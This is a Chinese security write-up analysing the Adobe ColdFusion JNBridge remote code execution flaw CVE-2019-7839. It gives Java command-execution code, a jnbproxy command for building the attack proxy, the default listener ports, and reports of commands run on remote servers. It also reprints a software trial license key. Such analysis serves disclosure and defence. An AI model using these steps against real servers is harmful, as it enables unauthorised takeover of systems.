作者: Badcode@知道创宇404实验室
日期: 2019/07/09
原文链接

漏洞简介

Adobe ColdFusion 是一个商用的快速开发平台。它可以作为一个开发平台使用,也可以提供Flash远程服务或者作为 Adobe Flex应用的后台服务器 。

2019年06月11日,Adobe 发布安全公告[1],修复了Adobe ColdFusion多个严重漏洞。其中有一个由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。

2019年06月26日,Moritz Bechler 在 Bugtraq 上公布了远程代码执行漏洞(CVE-2019-7839)的部分细节[2],由于 JNBridge 组件存在缺陷,而 ColdFusion 默认开启JNBridge组件,导致代码执行漏洞。

漏洞影响

•ColdFusion 2018 Update 3 及之前的版本
•ColdFusion 2018 Update 10 及之前的版本
•ColdFusion 11 Update 18 及之前的版本
•<= ColdFusion 9

漏洞分析

根据 Moritz Bechler 披露的部分细节,是由于ColdFusion 默认开启了 JNBridge listener 从而导致了漏洞。

先来了解一下JNBridge。

什么是 JNBridge

JNBridge 是一种领先的JAVA与.NET互操作的的产品,凭借JNBridge技术,Java 和.NET代码无需交叉编译器就可以实现对象共享。所有Java代码运行在JVM上,而.NET代码则运行在CLR上。在该方案下,JVM和CLR可以运 行在不同的机器上,也可以运行在一台机器的不同进程上,甚至还能运行在相同的进程的不同应用程序域上。

下载 JNBridgePro,安装完之后会有demo。试用license

jnbp-eval-v10.0#1899-2367-9451-2280
这里我们尝试使用.net去调用java,跑一下logDemo,了解下大致流程。

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第1张图片

启动 Java 服务端
根据 JNBridge 的安装路径,修改startJava.bat,运行

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第2张图片

可以看到,JNBridge 服务端 listener 已开启,监听在8085端口。

构建 .Net 客户端

根据 demo的指示文档 logDemo.pdf,一步一步构建 .Net 项目。

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第3张图片

运行

运行 .Net 项目,调用 Java 服务端,成功调用。

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第4张图片

如何执行调用 java.lang.Runtime

之前流程有一步是将loggerDemo.javaClass转成 logger.dll,试想一下,是否可以将java.lang.Runtime导成dll文件,供 .Net 客户端引用,然后去调用 Java 服务端的java.lang.Runtime

尝试一下

rt.jar引入 classpath

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第5张图片

添加java.lang.Runtime

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第6张图片

导出 runtime.dll

引入 .Net 项目中供调用

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第7张图片

运行

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第8张图片

成功调用到了 Java 服务端中的java.lang.Runtime,这也是这个漏洞的根源。

ColdFusion 中的 JNBridge

ColdFusion 中是默认运行了 JNBridge listener 的,并且是 Java 服务端,监听端口是 6095(ColdFusion 2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。

由于 Coldfusion 中带的 JNBridge 版本不同,所以构造 payload 的方式有些差异。

ColdFusion 2016/2018

ColdFusion 2018 中的 JNBridge 版本是 v7.3.1,无法使用上面的的JNBridge v10去构造 payload,在 JNBridge 官网上可以下载一部分历史版本[3],下载 v7.3版本。

编写想要在 Java 服务端执行的代码

String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
      commandArgs = new String[]{"cmd.exe", "/c", command};
  }else {
      commandArgs = new String[]{"/bin/bash", "-c", command};
  }

Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);

BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
   {
       System.out.println(line);
   }
       br.close();

里面使用到了java.lang.Runtimejava.lang.Processjava.io.BufferedReaderjava.io.InputStreamReaderjava.lang.System,将相关类从rt.jar中导成runtime2.dll,供 .Net 客户端引用。

根据 Java代码重写

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第9张图片

这里面有个非常重要的 JNBShare.dll,这里使用自己安装的 JNBridge 成功后生成的 JNBShare.dll,无法使用ColdFusion 中 JNBridge 的 JNBShare.dll,会报错。

运行,***远程的ColdFusion 2018(Linux平台),成功返回结果。

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第10张图片

ColdFusion 9/11

ColdFusion 9 内部的 JNBridge 版本是 v5.1,监听端口是 6085。由于这个版本比较老了,没找到安装包,现在需要生成供我们引用的runtime2.dll和能用的JNBShare.dll。ColdFusion 内部的 JNBridge中的jnbproxyGui.exe无法构建 .net -> java项目,也就是说GUI工具用不了,所幸的是命令行工具还可以用。

jnbproxy.exe,看下参数。

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第11张图片

根据参数,生成runtime2.dll

jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
至于 JNBShare.dll,因为内部的无法使用,安装包又下载不到。幸运的是有人收藏了这个JNBShare.dll,谷歌搜索能够找到,并且刚好是v5.1版本的。

运行,***远程的 ColdFusion 9(windows平台),返回命令执行结果。

Adobe ColdFusion RCE(CVE-2019-7839) 漏洞分析_第12张图片

References

[1] 安全公告:

https://helpx.adobe.com/security/products/coldfusion/apsb19-27.html
[2] 部分细节:

https://seclists.org/bugtraq/2019/Jun/38
[3] 历史版本:

https://jnbridge.com/download-back-versions